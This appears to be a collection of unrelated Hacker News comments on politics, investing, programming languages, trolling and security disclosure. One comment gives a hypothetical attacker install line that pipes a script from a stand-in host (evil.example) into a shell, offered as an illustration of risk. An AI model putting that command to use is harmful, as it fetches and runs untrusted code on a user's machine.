skysight-inc/HackerNews huggingface dataset:
I implied no such thing, read what I wrote 50 times if you must until you see that I merely said treason is a serious crime, not a distraction. I didn't not imply he was guilty, we don't know that one way or the other; hence the investigation.

You really need to learn to have a discussion with someone, without blaming them for all of the perceived faults of the democrats. You don't know my political party, nor my preferred candidate, you're just assuming everything as if everyone who doesn't like Trump is the same.

> There is a reason the Rust Belt voted for Trump, and it has nothing to do with Russia.

No one thinks it does; the Rust Belt is just gullible and fell for a con man promising them things that cannot occur, those jobs cannot come back, they no longer exist. They heard what they wanted to hear because they're unable to hear the truth.
That creates several modes of imbalance / abuse, potentially.

E.g., a large and cash-rich firm could bid on more visas than it needs, starving other firms.

It also fails to address the leverage that the visa sponsor has over the visa holder -- lose your job, and you lose your right to remain in-country.
Look up Synflow's language for HLS. It's C based and open-source.
it was the $8000 down to get the machine I was referring to. The robot welder was $2200 down payment, and the laser cutter was $5800 down. Modest amounts for what they produce in goods, the machines can produce just an enormous mountain of product. The $500k in machines can make $500k per month in stuff, and you just have to make the $8k payment out of that.

Robots are for the little people too - not just MegaCorp.
Wasn't "Celebrity Apprentice" rather trollish?
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The irony given YC's involvement in those is ... interesting, to say the least.
A day in the life of a pen-tester
Logistics’ Two Fronts
A brief history of software engineering research
Oh look, a crank
- Find the next Steve Job, hire him and let him lose.

- Better UI, for most part the desktop GUI hasn't changed for nearly a decade! It's as if Ubuntu looked at Apple OS X and just gave up on any UI competition. I think 40% of why I don't use Ubuntu is because of its look and feel. It's gonna be hard but maybe worth it.
If some of the comments I read on other AI related articles here on HN are correct,

1 mil / year per expert * 10 experts per year = 30 Mil in 3 years

Maybe $30 mil isn't as much as we think it is in AI business?
This advance could finally make graphene-based semiconductor chips feasible
In the trolling game, there's the concept of triggering the "inner troll" of one's opponent. So they start trolling too, rather like a puppet. Puppet count is part of scoring.
It's a really strange phrase. Maybe meant to be "Movement"?
Achronix had production Speedsters at 16nm in 2016. They should be on that list given they're 1.5GHz or sonething like that.
Preferring to not hire MBAs is as bad as preferring to hire MBAs. Do you think both are wrong approaches?
> Interactive brokers is what, a few bucks a trade anyway?

IB Commission is $0.005 per share, with a minimum of $1 total. The problem with IB for regular folks is a bunch of monthly fees if you don't have enough activity each month.

https://www.interactivebrokers.com/en/index.php?f=1590&p=sto...
At $10/mo (=$120 year), assuming a 1.5% interest rate, you're actually saving money on interest expenses if you invest more than $10k on margin for > 1 year. Doesn't sounds that bad to me?
If you follow upthread, cle asserted was that a language should be held responsible for being able to be misused badly.

And then asserted Java as a counterexample that is better about this.

I'm sorry, but anyone who has had even tangential exposure to Java codebases would find this equally laughable.

Java codebases are by far the worst codebases I have ever had to wade through. They even surpass C++, and I loathe C++. I presume it's the fact that you can cut/paste StackOverflow until something works in Java while C/C++ blows your foot off a lot earlier.

To be fair, I have not had to wade through large COBOL or assembly codebases, so my experience may be skewed.
Machine Learning with Thermodynamic RAM and the Knowm API
Well if a humdrum ~%25 correction wipes out half your capital. Then you'll be hoping for a massive 50% run in the market to get back to where you started.

I'd want to get paid more than 9.74 - 6 = 3.74 percent to ride that rollercoaster.
The title is misleading in a way making it a click bait. The article is cool, though. Both languages are equally fast.
C Language Tutorial in Englis / Urdu / Hindi
I'm not so sure. Perhaps "embedded" is the wrong term, but more and more devices have full touchscreens on them, and if you are selling a high end device like a refrigerator, having the UI be fluid and feel high end is important as well. Not to mention TVs, car UIs, security system pads, and more.
That's why "flame war". There's positive feedback.
Have you got a link to Fowlers new thoughts on Rich vs Anemic Domain Models?
Alternatively, you can invest in an old-fashioned index fund from Vanguard instead of an ETF and make small purchases without a fee (you can even set up recurring transfers from your bank account). This kind of investing is nothing new - it's been possible for decades.
"An MBA is to business what Computer Science is to coding as a junior web dev"

great analogy. I think the additional challenge is that coding has a clear feedback loop. Management and business does not and therefore most people remain 'junior web devs' and make mistakes throughout their careers.
The author likely is used to Windows scripting before sleep was a thing.

The pings are used as a delay, without pausing the entire process or thread.
I got a snotty reply from someone at Twilio when I suggested it might be an April Fool's joke on Twitter.

Amazon prime buttons were announced on 3/31/15 or 4/1/15 (I forget which date it was) and I remember a bunch of buzz around my office wondering if it was an April Fool's stunt or not. I don't really see the harm in waiting a few days to launch some kind of new/potentially unbelievable product so you don't do it on 4/1, since the internet tends to go nuts on that day.
There was an effort at VA Linux to convert SourceForge into an enterprise project. That failed. I believe that's when SF was spun off (along with Slashdot) as an independent. Or was it that SF became what was pretty much all that was left of VA after the hardware business left?

I'm a bit fuzzy on the history, and wasn't there at the time, though I do know people who were.

Point being that SourceForge was not intended to be exclusively FOSS.
Also FYI, TurboTax supports many of the major brokers, which makes this super easy: https://www.partner.turbotax.com/top_partner_list.html

Included are Robinhood, Schwab, Fidelity and TD Ameritrade among others.
Yet the VC lifecycle is very much like the mining lifecycle.

Exploration, drilling, construction, exploitation. The early stages cost millions and often lead to failure, with the occasional profitable case and rare super-profitable discoveries. Scaling up costs major capital, after which, prices allowing, a mine can be a cash cow.
I mean, that's the nature of empirical sciences. You establish a model that fits observations you've made, but inevitably their is some chaotic, sometimes imperceptible noise that gets averaged out that represents some further level of complexity.

I wouldn't argue that it means we don't know much, in the end you can argue we don't know anything because all empirical sciences are beholden to the belief of abstractions that can be attributed to some imperceptible abstraction until you (don't) reach the bottom of the stack of turtles.
I'll chime in with similar sentiments. I could criticise Microsoft 'til the cows come home (and have), but the competition in this space would be a positive.
How to create a successful business working only 6 or 7 hours a day
> The IB GUI is a fucking trainwreck

I tried to buy some index funds and couldn't even really figure out how to log in after creating my account :( Trainwreck is an understatement.
Here's scary: https://np.reddit.com/r/RobinHood/comments/5y8cw4/after_maki...

The guy was posting around about consumer law and how he should be able to get a refund.
One counter example to franchises wanting to be in the real estate business are coffee shop chains, Starbucks, peets, phils, etc. So it is possible.
It certainly is. "Business" just needs to internalize the fact that baking a bigger cake gets you more cake than fighting like a starved peasant over crumbs.
Logan and his dad Roger Abbott are behind Wirefly along with Bizx and lots of other shady companies with plenty of criminal history.

> ...Mr. Abbott, has a track record of entrepreneurial flair and illegal hustle. He spent three years in prison after conviction on cocaine trafficking in 1983. After his release, he set up a telemarketing company that attracted regulatory scrutiny for its tactics in selling precious metals investments. In 1991, Mr. Abbott founded Communications Telesystems, which became known for slamming, the practice of switching customers from one long-distance service to another without their permission. After tens of thousands of complaints, the California Public Utilities Commission revoked the company's permission to operate most services in the state.

1. http://www.nytimes.com/2002/03/27/business/technology-a-suit...

2. http://articles.latimes.com/1997-05-21/business/fi-60971_1_s...

3. http://law.justia.com/cases/california/court-of-appeal/3d/16...

4. http://www.droid-life.com/2014/03/13/wirefly-abruptly-closes...
My city publicly lists assessing information if you own property. Many do.

Why are you so set on blaming me for this? Do you want copies of restraining orders I had to file on the two people who came to my house?

When do you think someone should start being responsible for behaving dangerously?
Do you honestly believe that free speech is less valuable than law enforcement?

How does converting the internet into a police state help combat anonymous harassment? Privacy is a tool to prevent harassment; not the other way around.
"who lower the barrier of entry toward financial health for the average consumer..."

The barrier is already pretty low:

- Max out your 401-K (and collect your company match, if any).

- Invest in low-cost index funds from Vanguard.

- Pay off your credit card debt, if any (since you probably won't make 20+% a year on your other investments).

- Don't buy lots of stuff you don't need.

On average, you'll get much better results this way than by trading stocks.
No you say he has to prove he made the tool for legit purposes.. that is guilty until proven innocent

You have assumed he has malicious intent, and have shifted the burden of proof on to the defendant to disprove your claim
Adversarial Turing Complete vs. Multi-Track Turing Machine
Other kinds of faults are handled just fine. There's a fault handler, a double fault handler for when that has a problem, and triple fault is a reset.

There's no reason a fault while in the ECC error handler shouldn't have the same progression.
Wait, what?

How can you know about r-values but not that every modern house built has cavity walls that can be/are insulated?[1]

Even hundred-year old houses can be insulated by DIY drylining. You'll lose about 10cm of floor space though. Sometimes there's even some government grants available for this[2]

[1]http://www.residentialenergydynamics.com/portals/0/Resources...

[2]http://i.telegraph.co.uk/multimedia/archive/02041/jeff-howel...
It makes access to the underlying host a first-class language feature, so interop with the JVM or JavaScript is super-simple.
Shameless plug: if you like good UI on Mac, check out Stockfolio, http://apple.co/2niG1PY

One of our next updates should include linking to your brokerage + support for buying and selling shares. IB should (hopefully) be one of the supported brokerages.
This, please.
No. They have to have fossil plants because electricity cannot be stored effectively, except in very mountainous countries with enough hydroelectric dams, like Norway or Costa Rica. Since electricity cannot be stored, it has to be manufactured when required. People require electricity at night or on calm days when the wind is not blowing, and they often don't require as much electricity as can be produced at the right time. Since the Germans turned off their nuclear plants, to make that electricity, they had to build more fossil plants.
After a while you get pigeonholed. You can hop jobs easily but it is the same shit, different name on the building. It is often easier to pivot inside a company then jump to a new company.
I'm not so sure... Thinking about the Valerie Plame leak case, Scooter Libby the VP's CoS was convicted for giving false testimony and obstruction. Those convictions stem from conflicting statements about how he knew Valerie Plame worked for the CIA.

If you were Flynn and thought you had a card that would keep you out of jail to play in a game where if you mis-remember how you know a seemingly trivial piece of information you go to jail... would'nt you try to play that card?
Most places don't do much other than maybe block ports. Having an auth system also helps.
One of my favorite lines in Mad Men was Bert Cooper telling Don Draper Philanthropy is the gateway to power.
1 mil / year per expert

Is this realistic?

I don't think it's impossible for a dev to be pulling $1M/yr in total comp, but it seemed more likely happen at Google or FB rather than AI.
David L. Jones found a working 32 GHz oscilloscope in the dumpster: https://www.eevblog.com/2017/03/31/eevblog-984-worlds-best-d...
Nanocars Will Race Across (a Very, Very Tiny Bit Of) France
Nothing about OpenAI actually addresses any real world problem. So i have a problem with their rhetoric as much as their research agenda.

Nothing they're writing about addresses any of the real world problems with how AI can or might be applied in society. They're a non-profit research lab with no clear agenda and no clear connection to how they plan to interrogate the world which seems like an important part of the equation if you care about outcomes.

So, irrespective of subjective judgements, please explain to me how any of this is supposed to help anyone?

Or, alternatively, how isn't this just free R&D for industry unshackled and unconnected to ethics or society?
Right, Mirimir likes moderated communities. So HN, Wilders and some subreddits. Never Twitter. People have tried to get me on it, but I find it maddening.
> I've used IB (and don't use robinhood). The IB GUI is a fucking trainwreck. If design had ethical obligations the way bridge engineering does, IB's designers would be in prison. It is bad. And it's still one of the better trading interfaces. Ever seen a bloomberg terminal?

I agree that the UI is terrible but keep in mind that IB is very very specifically targeted at active stock traders and institutions, not regular people. The UI starts to make slightly more sense if you're trading a lot.

For an example of a good UI though, I'd look at TD Ameritrade, which has a pretty decent one.
The good would be a decrease in the number of persons forced to rent, rather than own.

Among households headed by Australians aged under 35 an extraordinary 63.4 per cent rent.[http://www.smh.com.au/federal-politics/political-opinion/no-...]
Or to put it the other way, are Gates, Zuckerberg, etc even their own archetypes, or where those labels foisted upon them by the zeitgeist's expectations of their role? And they went along because it was simpler, easier, or more financially beneficial?

In either case, agreed that changing the popular mythos is absolutely a prerequisite to resolving the inequity.
Open-source developers are understandably high value targets, but I'd imagine they're harder to hit with this kind of attack.

If I was some evil-doer though I'd develop some marketing heavy Javascript/Rust/language-of-the-week framework, hit HN frontpage and have the call-to-action copy be:

> Install in picoseconds!

> curl -sf http://evil.example/evil_install.sh | sh

edit: corrected hypothetical attack
And the final result was that the two languages had roughly the same performance, which may surprise folks that believe Java is still a slow language.
Flavor: Ubuntu Phone[0]

Headline: Availability and Development

Description: I would love to see Ubuntu as a serious alternative to either iOS or Android in the mobile space. The availability of phones with Ubuntu pre-installed as well as the devices[1] that support the image (for self-installation) are extremely limited. Its also not clear to me whether the project is still alive.

[0] https://developer.ubuntu.com/en/phone/
[1] https://developer.ubuntu.com/en/phone/devices/devices/
Wow, very interesting. Thanks!
Nowhere in your link says that Carnegie bought or owned the damn and club, just that he was a member.
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Honest answer AFAIK: I met Julian back in 1997 in Australia at the security conference that launched his and Suelette Dreyfus' book about the history of the Melbourne hacker scene, Underground. I met him again at HAR2009 in the Netherlands. He was very interested in the fact that I had been living in China for nearly 10 years and confided that he was really surprised after Wikileaks launched not to have received Chinese materials. I hope to meet him again as a free man... or the next time I'm in London. In my opinion he's a fantastic person, an internationalist and a pragmatist who shares knowledge and resources, has truly excelled in multiple fields and genuinely embodies the triple ideals of curiosity, intelligence and social concern. The world needs more Julians, but I think he would agree it would be better if an organization like Wikileaks wasn't required to keep the bastards honest. Shame on those working in defense and surveillance industries.

PS. Everyone here should play the 4 hour game Orwell which does a great job of communicating the social ethics at play in surveillance abuse of technology: https://news.ycombinator.com/item?id=13549725
Running tests with stubs containerized
And the tax incentives!
It's $10/mo to borrow up to $2k. The cost to borrow more goes up.
I'm a homeschooling SAHM (was a software engineer for 6 years, have a MS in CS) expecting our 4 child, born in 1982. This is not surprising to me, I know many women choosing being at home over a lucrative & promising career. Both my parents are MDs, and I was raised by nannies. Here's the thing about nannies - you don't know a situation is really bad until it's too late. Also, the second shift is a very real, exhausting phenomenon. Lots of smart women with smart early wave feminist moms have looked at our own childhoods and said, "I'd rather be significantly poorer and spend the time with my kids. I missed my mom when I was a kid and it hurt. I don't want the stress of working a full day followed afterschool pickup followed by homework and extracurriculars followed by dinner and cleaning." Not shockingly, I married a guy who agrees with me on this.
If I had a penny for every...
The cache/proxy just needs to install its root certificate into your system store and no changes to the browser would be necessary.
> So 2008, the great recession was a very positive period?

No, 2007 to 2017 is claimed as a positive period.

CAGR over the period you list above is 15%. Over 2007 to 2017, it's 10%, not so far off, and over a 10 year period rather than a 4 year period.
Its too late for talk like that. I've shown my friends and family how to use a VPN, and explained why it is so important. Eventually I'll roll one myself that we all use. And maybe, just maybe we can all put an end to this evil if we each act rationally.
A quick scan indicates plain-spoken and incisive, but good-natured. Maybe funny sometimes, but not in a mean way.
It's not at all clear that having an open wi-fi network results in greater exposure to responsibility for unwanted actions on the network.

In fact, Bruce Schneier expressly keeps his wireless network open, for this reason among others.

https://www.schneier.com/blog/archives/2008/01/my_open_wirel...
If you walk in a room, and a bunch of teenagers are being noisy, do you leave, or call the cops?

If your favorite social network doesn't give you enough privacy to avoid trolls, or even abuse, go somewhere else.

People complain that trolls have the advantage of privacy, and recommend a police state as a solution.

Privacy is a tool. Use it. Don't let anyone take it away.
It will be nice when "It's unethical to disclose security vulnerabilities immediately" mindset fades away: https://twitter.com/stits/status/845717835733094401

There's nothing wrong with publishing your findings immediately. It's not up to a security researcher to do a bunch of unpaid, extra work. Finding a bug is enough.

Which is better: Finding a bug and bringing attention to it, or someone malicious finding the bug? The latter is objectively worse, but people keep trying to punish researchers for not following the third path of "Report it in private, following strict and lengthy procedures, and make no mention of it until a timeline of their choosing."

It's a professional courtesy for someone to do that for free, but not a requirement, and it's certainly not unethical to tweet about it.
this is possible today. check out the digilent pynq ( www.pynq.io ). i just bought a dev board, i'm pumped to try a few things out.
Software needs to be

Secure by Design

Secure by Default

Secure by Deployment

I can't comment on Deployment, but the defaults are not secure (defaults to autofill info), and it's not secure by design - surface area is much too large.

For me to trust lastpass, I will have to see real changes on those.
Trolling is scraping the bottom, stirring the muck up into a net; not quite analogous to luring/baiting, a much more sporting tactic.
In one of the better turns of phrase from my college years, my 60s-era professor for "Violence in the Political System",

Question: How do we end civil wars?

Answer: Murder all the grandmothers.

Explanation: In the majority of civil wars, men comprise the bulk of causualties, thus leaving females as the only link between generations. Consequently, it is the grandmothers that teach younger generations to hate and perpetuate violence as retribution from that which was visited upon themselves and their family.

It's stuck with me ever since, and I think it's a good point for thinking about cultural evolution. Even if a new generation were a blank slate and completely compassionate on issue du jour, how is that affected by the historical impulses of those older from previous generations and thoughts?
Why were you selected over any other business owner? Just seems odd you would be selected at random and then two different people would make an effort to drive out to your house "for the lols".
Are you:

Single or In a Relationship?
Renting or own a home?
Into Traveling short term or long term?
From a country with good visa allowances?
That is not at all hard to achieve
Tell it.

Pointing out that structures of power are not what they appear - be they public or corporate - is in the best spirit of a free press. And reporting a security vulnerability in a widely-used product is just that.
FBI Director Tried to Reveal Russian Tampering Months Before Election
pedantic, but that wouldn't actually do much ;)
I'm think of automatic grouping of data points into people profile. For instance, when searching for John Doe across all census records, provide profiles of people, backed up by multiple sources.

This would be achieved by seeing if a group of two references are likely to be referring to the second person , and of they are, merge the groups.